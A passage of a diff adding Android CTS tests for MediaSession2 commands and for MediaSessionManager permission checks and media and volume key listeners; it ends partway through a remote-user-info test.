+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            Controller2Callback controllerCallback = new Controller2Callback();
+            MediaController2 controller =
+                    new MediaController2.Builder(mContext, session.getToken())
+                            .setControllerCallback(sHandlerExecutor, controllerCallback)
+                            .build();
+            // Wait for connection
+            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
+            assertTrue(sessionCallback.awaitOnConnect(WAIT_TIME_MS));
+            MediaSession2.ControllerInfo controllerInfo = sessionCallback.mController;
+
+            // Test onSessionCommand
+            String commandStr = "test_command";
+            String commandExtraKey = "test_extra_key";
+            String commandExtraValue = "test_extra_value";
+            Bundle commandExtra = new Bundle();
+            commandExtra.putString(commandExtraKey, commandExtraValue);
+            Session2Command command = new Session2Command(commandStr, commandExtra);
+
+            String commandArgKey = "test_arg_key";
+            String commandArgValue = "test_arg_value";
+            Bundle commandArg = new Bundle();
+            commandArg.putString(commandArgKey, commandArgValue);
+            controller.sendSessionCommand(command, commandArg);
+
+            assertTrue(sessionCallback.awaitOnSessionCommand(WAIT_TIME_MS));
+            assertEquals(session, sessionCallback.mSession);
+            assertEquals(controllerInfo, sessionCallback.mController);
+            assertEquals(commandStr, sessionCallback.mCommand.getCustomAction());
+            assertEquals(commandExtraValue,
+                    sessionCallback.mCommand.getCustomExtras().getString(commandExtraKey));
+            assertEquals(commandArgValue, sessionCallback.mCommandArgs.getString(commandArgKey));
+
+            controller.close();
+            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
+        }
+    }
+
+    @Test
+    public void testCallback_onCommandResult() {
+        Session2Callback sessionCallback = new Session2Callback();
+
+        int resultCode = 100;
+        String commandResultKey = "test_result_key";
+        String commandResultValue = "test_result_value";
+        Bundle resultData = new Bundle();
+        resultData.putString(commandResultKey, commandResultValue);
+        Session2Command.Result commandResult = new Session2Command.Result(resultCode, resultData);
+
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            Controller2Callback controllerCallback = new Controller2Callback() {
+                @Override
+                public Session2Command.Result onSessionCommand(MediaController2 controller,
+                        Session2Command command, Bundle args) {
+                    return commandResult;
+                }
+            };
+            MediaController2 controller =
+                    new MediaController2.Builder(mContext, session.getToken())
+                            .setControllerCallback(sHandlerExecutor, controllerCallback)
+                            .build();
+            // Wait for connection
+            assertTrue(sessionCallback.awaitOnConnect(WAIT_TIME_MS));
+            MediaSession2.ControllerInfo controllerInfo = sessionCallback.mController;
+
+            // Test onCommandResult
+            String commandStr = "test_command";
+            String commandExtraKey = "test_extra_key";
+            String commandExtraValue = "test_extra_value";
+            Bundle commandExtra = new Bundle();
+            commandExtra.putString(commandExtraKey, commandExtraValue);
+            Session2Command command = new Session2Command(commandStr, commandExtra);
+
+            String commandArgKey = "test_arg_key";
+            String commandArgValue = "test_arg_value";
+            Bundle commandArg = new Bundle();
+            commandArg.putString(commandArgKey, commandArgValue);
+            session.sendSessionCommand(controllerInfo, command, commandArg);
+
+            assertTrue(sessionCallback.awaitOnCommandResult(WAIT_TIME_MS));
+            assertEquals(session, sessionCallback.mSession);
+            assertEquals(controllerInfo, sessionCallback.mController);
+            assertEquals(resultCode, sessionCallback.mCommandResult.getResultCode());
+            assertEquals(commandResultValue,
+                    sessionCallback.mCommandResult.getResultData().getString(commandResultKey));
+
+            controller.close();
+            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
+        }
+    }
+
+    @Test
+    public void testSetPlaybackActive() {
+        final boolean testInitialPlaybackActive = true;
+        final boolean testPlaybackActive = false;
+        Session2Callback sessionCallback = new Session2Callback();
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            session.setPlaybackActive(testInitialPlaybackActive);
+            assertEquals(testInitialPlaybackActive, session.isPlaybackActive());
+
+            Controller2Callback controllerCallback = new Controller2Callback();
+            MediaController2 controller =
+                    new MediaController2.Builder(mContext, session.getToken())
+                            .setControllerCallback(sHandlerExecutor, controllerCallback)
+                            .build();
+            // Wait for connection
+            assertTrue(controllerCallback.awaitOnConnected(WAIT_TIME_MS));
+
+            // Check initial value
+            assertEquals(testInitialPlaybackActive, controller.isPlaybackActive());
+
+            // Change playback active change and wait for changes
+            session.setPlaybackActive(testPlaybackActive);
+            assertEquals(testPlaybackActive, session.isPlaybackActive());
+            assertTrue(controllerCallback.awaitOnPlaybackActiveChanged(WAIT_TIME_MS));
+
+            assertEquals(testPlaybackActive, controllerCallback.getNotifiedPlaybackActive());
+            assertEquals(testPlaybackActive, controller.isPlaybackActive());
+
+            controller.close();
+            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
+        }
+    }
+
+    @Test
+    public void testCancelSessionCommand() {
+        Session2Callback sessionCallback = new Session2Callback();
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            Controller2Callback controllerCallback = new Controller2Callback();
+            MediaController2 controller =
+                    new MediaController2.Builder(mContext, session.getToken())
+                            .setControllerCallback(sHandlerExecutor, controllerCallback)
+                            .build();
+            // Wait for connection
+            assertTrue(sessionCallback.awaitOnConnect(WAIT_TIME_MS));
+            MediaSession2.ControllerInfo controllerInfo = sessionCallback.mController;
+
+            String commandStr = "test_command_";
+            String commandExtraKey = "test_extra_key_";
+            String commandExtraValue = "test_extra_value_";
+            Bundle commandExtra = new Bundle();
+            commandExtra.putString(commandExtraKey, commandExtraValue);
+            Session2Command command = new Session2Command(commandStr, commandExtra);
+
+            String commandArgKey = "test_arg_key_";
+            String commandArgValue = "test_arg_value_";
+            Bundle commandArg = new Bundle();
+            commandArg.putString(commandArgKey, commandArgValue);
+            synchronized (sTestLock) {
+                Object token = session.sendSessionCommand(controllerInfo, command, commandArg);
+                session.cancelSessionCommand(controllerInfo, token);
+            }
+            assertTrue(sessionCallback.awaitOnCommandResult(WAIT_TIME_MS));
+            assertEquals(Session2Command.Result.RESULT_INFO_SKIPPED,
+                    sessionCallback.mCommandResult.getResultCode());
+
+            controller.close();
+            assertTrue(controllerCallback.awaitOnDisconnected(WAIT_TIME_MS));
+        }
+    }
+
+    class Controller2Callback extends MediaController2.ControllerCallback {
+        private final CountDownLatch mOnConnectedLatch = new CountDownLatch(1);
+        private final CountDownLatch mOnDisconnectedLatch = new CountDownLatch(1);
+        private final CountDownLatch mOnPlaybackActiveChangedLatch = new CountDownLatch(1);
+
+        private boolean mPlaybackActive;
+
+        @Override
+        public void onConnected(MediaController2 controller,
+                Session2CommandGroup allowedCommands) {
+            mOnConnectedLatch.countDown();
+        }
+
+        @Override
+        public void onDisconnected(MediaController2 controller) {
+            mOnDisconnectedLatch.countDown();
+        }
+
+        @Override
+        public void onPlaybackActiveChanged(MediaController2 controller, boolean playbackActive) {
+            mPlaybackActive = playbackActive;
+            mOnPlaybackActiveChangedLatch.countDown();
+        }
+
+        public boolean awaitOnConnected(long waitTimeMs) {
+            try {
+                return mOnConnectedLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public boolean awaitOnDisconnected(long waitTimeMs) {
+            try {
+                return mOnDisconnectedLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public boolean awaitOnPlaybackActiveChanged(long waitTimeMs) {
+            try {
+                return mOnPlaybackActiveChangedLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public boolean getNotifiedPlaybackActive() {
+            return mPlaybackActive;
+        }
+    }
+
+    class Session2Callback extends MediaSession2.SessionCallback {
+        private final CountDownLatch mOnConnectLatch = new CountDownLatch(1);
+        private final CountDownLatch mOnPostConnectLatch = new CountDownLatch(1);
+        private final CountDownLatch mOnDisconnectLatch = new CountDownLatch(1);
+        private final CountDownLatch mOnSessionCommandLatch = new CountDownLatch(1);
+        private final CountDownLatch mOnCommandResultLatch = new CountDownLatch(1);
+
+        MediaSession2 mSession;
+        MediaSession2.ControllerInfo mController;
+        Session2Command mCommand;
+        Bundle mCommandArgs;
+        Session2Command.Result mCommandResult;
+
+        @Override
+        public Session2CommandGroup onConnect(MediaSession2 session,
+                MediaSession2.ControllerInfo controller) {
+            super.onConnect(session, controller);
+            if (controller.getUid() != Process.myUid()) {
+                return null;
+            }
+            mSession = session;
+            mController = controller;
+            mOnConnectLatch.countDown();
+            return new Session2CommandGroup.Builder().build();
+        }
+
+        @Override
+        public void onPostConnect(MediaSession2 session, MediaSession2.ControllerInfo controller) {
+            super.onPostConnect(session, controller);
+            if (controller.getUid() != Process.myUid()) {
+                return;
+            }
+            mSession = session;
+            mController = controller;
+            mOnPostConnectLatch.countDown();
+        }
+
+        @Override
+        public void onDisconnected(MediaSession2 session, MediaSession2.ControllerInfo controller) {
+            super.onDisconnected(session, controller);
+            if (controller.getUid() != Process.myUid()) {
+                return;
+            }
+            mSession = session;
+            mController = controller;
+            mOnDisconnectLatch.countDown();
+        }
+
+        @Override
+        public Session2Command.Result onSessionCommand(MediaSession2 session,
+                MediaSession2.ControllerInfo controller, Session2Command command, Bundle args) {
+            super.onSessionCommand(session, controller, command, args);
+            if (controller.getUid() != Process.myUid()) {
+                return null;
+            }
+            mSession = session;
+            mController = controller;
+            mCommand = command;
+            mCommandArgs = args;
+            mOnSessionCommandLatch.countDown();
+
+            int resultCode = 100;
+            String commandResultKey = "test_result_key";
+            String commandResultValue = "test_result_value";
+            Bundle resultData = new Bundle();
+            resultData.putString(commandResultKey, commandResultValue);
+            Session2Command.Result commandResult =
+                    new Session2Command.Result(resultCode, resultData);
+            return commandResult;
+        }
+
+        @Override
+        public void onCommandResult(MediaSession2 session, MediaSession2.ControllerInfo controller,
+                Object token, Session2Command command, Session2Command.Result result) {
+            super.onCommandResult(session, controller, token, command, result);
+            if (controller.getUid() != Process.myUid()) {
+                return;
+            }
+            mSession = session;
+            mController = controller;
+            mCommand = command;
+            mCommandResult = result;
+            mOnCommandResultLatch.countDown();
+        }
+
+        public boolean awaitOnConnect(long waitTimeMs) {
+            try {
+                return mOnConnectLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public boolean awaitOnPostConnect(long waitTimeMs) {
+            try {
+                return mOnPostConnectLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public boolean awaitOnDisconnect(long waitTimeMs) {
+            try {
+                return mOnDisconnectLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public boolean awaitOnSessionCommand(long waitTimeMs) {
+            try {
+                return mOnSessionCommandLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public boolean awaitOnCommandResult(long waitTimeMs) {
+            try {
+                return mOnCommandResultLatch.await(waitTimeMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+    }
+
+    static class CustomParcelable implements Parcelable {
+        public int mValue;
+
+        public CustomParcelable(int value) {
+            mValue = value;
+        }
+
+        @Override
+        public int describeContents() {
+            return 0;
+        }
+
+        @Override
+        public void writeToParcel(Parcel dest, int flags) {
+            dest.writeInt(mValue);
+        }
+
+        public static final Parcelable.Creator<CustomParcelable> CREATOR =
+                new Parcelable.Creator<CustomParcelable>() {
+            @Override
+            public CustomParcelable createFromParcel(Parcel in) {
+                int value = in.readInt();
+                return new CustomParcelable(value);
+            }
+
+            @Override
+            public CustomParcelable[] newArray(int size) {
+                return new CustomParcelable[size];
+            }
+        };
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionManagerTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionManagerTest.java
new file mode 100644
index 0000000..41ebcae
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionManagerTest.java
@@ -0,0 +1,806 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.misc.cts;
+
+import android.Manifest;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.media.AudioManager;
+import android.media.MediaSession2;
+import android.media.Session2CommandGroup;
+import android.media.Session2Token;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.Utils;
+import android.media.session.MediaController;
+import android.media.session.MediaSession;
+import android.media.session.MediaSessionManager;
+import android.media.session.PlaybackState;
+import android.os.Build;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.test.InstrumentationTestCase;
+import android.test.UiThreadTest;
+import android.view.KeyEvent;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSessionManagerTest extends InstrumentationTestCase {
+    private static final String TAG = "MediaSessionManagerTest";
+    private static final int TIMEOUT_MS = 3000;
+    private static final int WAIT_MS = 500;
+    private static final String ENABLED_NOTIFICATION_LISTENERS = "enabled_notification_listeners";
+
+    private Context mContext;
+    private AudioManager mAudioManager;
+    private MediaSessionManager mSessionManager;
+
+    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+    private static boolean sIsAtLeastT = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU);
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContext = getInstrumentation().getTargetContext();
+        mAudioManager = (AudioManager) getInstrumentation().getTargetContext()
+                .getSystemService(Context.AUDIO_SERVICE);
+        mSessionManager = (MediaSessionManager) getInstrumentation().getTargetContext()
+                .getSystemService(Context.MEDIA_SESSION_SERVICE);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        super.tearDown();
+    }
+
+    public void testGetActiveSessions() throws Exception {
+        try {
+            List<MediaController> controllers = mSessionManager.getActiveSessions(null);
+            fail("Expected security exception for unauthorized call to getActiveSessions");
+        } catch (SecurityException e) {
+            // Expected
+        }
+        // TODO enable a notification listener, test again, disable, test again
+    }
+
+    public void testGetMediaKeyEventSession_throwsSecurityException() {
+        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
+        try {
+            mSessionManager.getMediaKeyEventSession();
+            fail("Expected security exception for call to getMediaKeyEventSession");
+        } catch (SecurityException ex) {
+            // Expected
+        }
+    }
+
+    public void testGetMediaKeyEventSessionPackageName_throwsSecurityException() {
+        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
+        try {
+            mSessionManager.getMediaKeyEventSessionPackageName();
+            fail("Expected security exception for call to getMediaKeyEventSessionPackageName");
+        } catch (SecurityException ex) {
+            // Expected
+        }
+    }
+
+    public void testOnMediaKeyEventSessionChangedListener() throws Exception {
+        // The permission can be held only on S+
+        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
+
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.MEDIA_CONTENT_CONTROL,
+                Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+
+        MediaKeyEventSessionListener keyEventSessionListener = new MediaKeyEventSessionListener();
+        mSessionManager.addOnMediaKeyEventSessionChangedListener(
+                Executors.newSingleThreadExecutor(), keyEventSessionListener);
+
+        MediaSession session = createMediaKeySession();
+        assertTrue(keyEventSessionListener.mCountDownLatch
+                .await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertEquals(session.getSessionToken(), keyEventSessionListener.mSessionToken);
+        assertEquals(session.getSessionToken(), mSessionManager.getMediaKeyEventSession());
+        assertEquals(getInstrumentation().getTargetContext().getPackageName(),
+                mSessionManager.getMediaKeyEventSessionPackageName());
+
+        mSessionManager.removeOnMediaKeyEventSessionChangedListener(keyEventSessionListener);
+        keyEventSessionListener.resetCountDownLatch();
+
+        session.release();
+        // This shouldn't be called because the callback is removed
+        assertFalse(keyEventSessionListener.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    public void testOnMediaKeyEventSessionChangedListener_whenSessionIsReleased() throws Exception {
+        // The permission can be held only on S+
+        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
+
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.MEDIA_CONTENT_CONTROL,
+                Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+
+        MediaKeyEventSessionListener keyEventSessionListener = new MediaKeyEventSessionListener();
+        mSessionManager.addOnMediaKeyEventSessionChangedListener(
+                Executors.newSingleThreadExecutor(), keyEventSessionListener);
+
+        MediaSession session = createMediaKeySession();
+        assertTrue(keyEventSessionListener.mCountDownLatch
+                .await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        // Check that this is called when the session is released.
+        keyEventSessionListener.resetCountDownLatch();
+        session.release();
+        assertTrue(keyEventSessionListener.mCountDownLatch
+                .await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertNull(keyEventSessionListener.mSessionToken);
+        assertNull(mSessionManager.getMediaKeyEventSession());
+        assertEquals("", mSessionManager.getMediaKeyEventSessionPackageName());
+    }
+
+    private MediaSession createMediaKeySession() {
+        MediaSession session = new MediaSession(getInstrumentation().getTargetContext(), TAG);
+        session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
+                | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
+        PlaybackState state = new PlaybackState.Builder()
+                .setState(PlaybackState.STATE_PLAYING, 0, 1.0f).build();
+        // Fake the media session service so this session can take the media key events.
+        session.setPlaybackState(state);
+        session.setActive(true);
+        Utils.assertMediaPlaybackStarted(getInstrumentation().getTargetContext());
+
+        return session;
+    }
+
+    public void testOnMediaKeyEventSessionChangedListener_noPermission_throwsSecurityException() {
+        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
+        MediaKeyEventSessionListener keyEventSessionListener = new MediaKeyEventSessionListener();
+        try {
+            mSessionManager.addOnMediaKeyEventSessionChangedListener(
+                    Executors.newSingleThreadExecutor(), keyEventSessionListener);
+            fail("Expected security exception for call to"
+                    + " addOnMediaKeyEventSessionChangedListener");
+        } catch (SecurityException ex) {
+            // Expected
+        }
+    }
+
+    public void testOnMediaKeyEventDispatchedListener() throws Exception {
+        // The permission can be held only on S+
+        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
+
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.MEDIA_CONTENT_CONTROL,
+                Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+
+        MediaKeyEventDispatchedListener keyEventDispatchedListener =
+                new MediaKeyEventDispatchedListener();
+        mSessionManager.addOnMediaKeyEventDispatchedListener(Executors.newSingleThreadExecutor(),
+                keyEventDispatchedListener);
+
+        MediaSession session = new MediaSession(getInstrumentation().getTargetContext(), TAG);
+        session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
+                | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
+        PlaybackState state = new PlaybackState.Builder()
+                .setState(PlaybackState.STATE_PLAYING, 0, 1.0f).build();
+        // Fake the media session service so this session can take the media key events.
+        session.setPlaybackState(state);
+        session.setActive(true);
+        Utils.assertMediaPlaybackStarted(getInstrumentation().getTargetContext());
+
+        final int keyCode = KeyEvent.KEYCODE_MEDIA_PLAY;
+        simulateMediaKeyInput(keyCode);
+        assertTrue(keyEventDispatchedListener.mCountDownLatch
+                .await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertEquals(keyCode, keyEventDispatchedListener.mKeyEvent.getKeyCode());
+        assertEquals(getInstrumentation().getTargetContext().getPackageName(),
+                keyEventDispatchedListener.mPackageName);
+        assertEquals(session.getSessionToken(), keyEventDispatchedListener.mSessionToken);
+
+        mSessionManager.removeOnMediaKeyEventDispatchedListener(keyEventDispatchedListener);
+        keyEventDispatchedListener.resetCountDownLatch();
+
+        simulateMediaKeyInput(keyCode);
+        // This shouldn't be called because the callback is removed
+        assertFalse(keyEventDispatchedListener.mCountDownLatch
+                .await(WAIT_MS, TimeUnit.MILLISECONDS));
+
+        session.release();
+    }
+
+    @UiThreadTest
+    public void testAddOnActiveSessionsListener() throws Exception {
+        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
+        try {
+            mSessionManager.addOnActiveSessionsChangedListener(null, null);
+            fail("Expected NPE for call to addOnActiveSessionsChangedListener");
+        } catch (NullPointerException e) {
+            // Expected
+        }
+
+        MediaSessionManager.OnActiveSessionsChangedListener listener
+                = new MediaSessionManager.OnActiveSessionsChangedListener() {
+            @Override
+            public void onActiveSessionsChanged(List<MediaController> controllers) {
+
+            }
+        };
+        try {
+            mSessionManager.addOnActiveSessionsChangedListener(listener, null);
+            fail("Expected security exception for call to addOnActiveSessionsChangedListener");
+        } catch (SecurityException e) {
+            // Expected
+        }
+    }
+
+    private void assertKeyEventEquals(KeyEvent lhs, int keyCode, int action, int repeatCount) {
+        assertTrue(lhs.getKeyCode() == keyCode
+                && lhs.getAction() == action
+                && lhs.getRepeatCount() == repeatCount);
+    }
+
+    private void injectInputEvent(int keyCode, boolean longPress) throws IOException {
+        // Injecting key with instrumentation requires a window/view, but we don't have it.
+        // Inject key event through the adb commend to workaround.
+        final String command = "input keyevent " + (longPress ? "--longpress " : "") + keyCode;
+        SystemUtil.runShellCommand(getInstrumentation(), command);
+    }
+
+    public void testSetOnVolumeKeyLongPressListener() throws Exception {
+        Context context = getInstrumentation().getTargetContext();
+        if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+                || context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)
+                || context.getResources().getBoolean(Resources.getSystem().getIdentifier(
+                        "config_handleVolumeKeysInWindowManager", "bool", "android"))) {
+            // Skip this test, because the PhoneWindowManager dispatches volume key
+            // events directly to the audio service to change the system volume.
+            return;
+        }
+        Handler handler = createHandler();
+
+        // Ensure that the listener is called for long-press.
+        VolumeKeyLongPressListener listener = new VolumeKeyLongPressListener(3, handler);
+        mSessionManager.setOnVolumeKeyLongPressListener(listener, handler);
+        injectInputEvent(KeyEvent.KEYCODE_VOLUME_DOWN, true);
+        assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(listener.mKeyEvents.size(), 3);
+        assertKeyEventEquals(listener.mKeyEvents.get(0),
+                KeyEvent.KEYCODE_VOLUME_DOWN, KeyEvent.ACTION_DOWN, 0);
+        assertKeyEventEquals(listener.mKeyEvents.get(1),
+                KeyEvent.KEYCODE_VOLUME_DOWN, KeyEvent.ACTION_DOWN, 1);
+        assertKeyEventEquals(listener.mKeyEvents.get(2),
+                KeyEvent.KEYCODE_VOLUME_DOWN, KeyEvent.ACTION_UP, 0);
+
+        // Ensure the the listener isn't called for short-press.
+        listener = new VolumeKeyLongPressListener(1, handler);
+        mSessionManager.setOnVolumeKeyLongPressListener(listener, handler);
+        injectInputEvent(KeyEvent.KEYCODE_VOLUME_DOWN, false);
+        assertFalse(listener.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(listener.mKeyEvents.size(), 0);
+
+        // Ensure that the listener isn't called anymore.
+        mSessionManager.setOnVolumeKeyLongPressListener(null, handler);
+        injectInputEvent(KeyEvent.KEYCODE_VOLUME_DOWN, true);
+        assertFalse(listener.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(listener.mKeyEvents.size(), 0);
+
+        removeHandler(handler);
+    }
+
+    public void testSetOnMediaKeyListener() throws Exception {
+        Handler handler = createHandler();
+        MediaSession session = null;
+        try {
+            session = new MediaSession(getInstrumentation().getTargetContext(), TAG);
+            MediaSessionCallback callback = new MediaSessionCallback(2, session);
+            session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
+                    | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
+            session.setCallback(callback, handler);
+            PlaybackState state = new PlaybackState.Builder()
+                    .setState(PlaybackState.STATE_PLAYING, 0, 1.0f).build();
+            // Fake the media session service so this session can take the media key events.
+            session.setPlaybackState(state);
+            session.setActive(true);
+
+            // A media playback is also needed to receive media key events.
+            Utils.assertMediaPlaybackStarted(getInstrumentation().getTargetContext());
+
+            // Ensure that the listener is called for media key event,
+            // and any other media sessions don't get the key.
+            MediaKeyListener listener = new MediaKeyListener(2, true, handler);
+            mSessionManager.setOnMediaKeyListener(listener, handler);
+            injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
+            assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(listener.mKeyEvents.size(), 2);
+            assertKeyEventEquals(listener.mKeyEvents.get(0),
+                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
+            assertKeyEventEquals(listener.mKeyEvents.get(1),
+                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
+            assertFalse(callback.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(callback.mKeyEvents.size(), 0);
+
+            // Ensure that the listener is called for media key event,
+            // and another media session gets the key.
+            listener = new MediaKeyListener(2, false, handler);
+            mSessionManager.setOnMediaKeyListener(listener, handler);
+            injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
+            assertTrue(listener.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(listener.mKeyEvents.size(), 2);
+            assertKeyEventEquals(listener.mKeyEvents.get(0),
+                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
+            assertKeyEventEquals(listener.mKeyEvents.get(1),
+                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
+            assertTrue(callback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(callback.mKeyEvents.size(), 2);
+            assertKeyEventEquals(callback.mKeyEvents.get(0),
+                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_DOWN, 0);
+            assertKeyEventEquals(callback.mKeyEvents.get(1),
+                    KeyEvent.KEYCODE_HEADSETHOOK, KeyEvent.ACTION_UP, 0);
+
+            // Ensure that the listener isn't called anymore.
+            listener = new MediaKeyListener(1, true, handler);
+            mSessionManager.setOnMediaKeyListener(listener, handler);
+            mSessionManager.setOnMediaKeyListener(null, handler);
+            injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
+            assertFalse(listener.mCountDownLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(listener.mKeyEvents.size(), 0);
+        } finally {
+            if (session != null) {
+                session.release();
+            }
+            removeHandler(handler);
+        }
+    }
+
+    public void testRemoteUserInfo() throws Exception {
+        final Context context = getInstrumentation().getTargetContext();
+        Handler handler = createHandler();
+
+        MediaSession session = null;
+        try {
+            session = new MediaSession(context , TAG);
+            MediaSessionCallback callback = new MediaSessionCallback(5, session);
+            session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
+                    | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
+            session.setCallback(callback, handler);
+            PlaybackState state = new PlaybackState.Builder()
+                    .setState(PlaybackState.STATE_PLAYING, 0, 1.0f).build();
+            // Fake the media session service so this session can take the media key events.
+            session.setPlaybackState(state);
+            session.setActive(true);
+
+            // A media playback is also needed to receive media key events.
+            Utils.assertMediaPlaybackStarted(context);
+
+            // Dispatch key events 5 times.
+            KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MEDIA_PLAY);
+            // (1), (2): dispatch through key -- this will trigger event twice for up & down.
+            injectInputEvent(KeyEvent.KEYCODE_HEADSETHOOK, false);
+            // (3): dispatch through controller
+            session.getController().dispatchMediaButtonEvent(event);
+
+            // Creating another controller.
+            MediaController controller = new MediaController(context, session.getSessionToken());
+            // (4): dispatch through different controller.
+            controller.dispatchMediaButtonEvent(event);
+            // (5): dispatch through the same controller
+            controller.dispatchMediaButtonEvent(event);
+
+            // Wait.
+            assertTrue(callback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            // Caller of (1) ~ (4) shouldn't be the same as any others.
+            for (int i = 0; i < 4; i ++) {
+                for (int j = 0; j < i; j++) {
+                    assertNotSame(callback.mCallers.get(i), callback.mCallers.get(j));
+                }
+            }
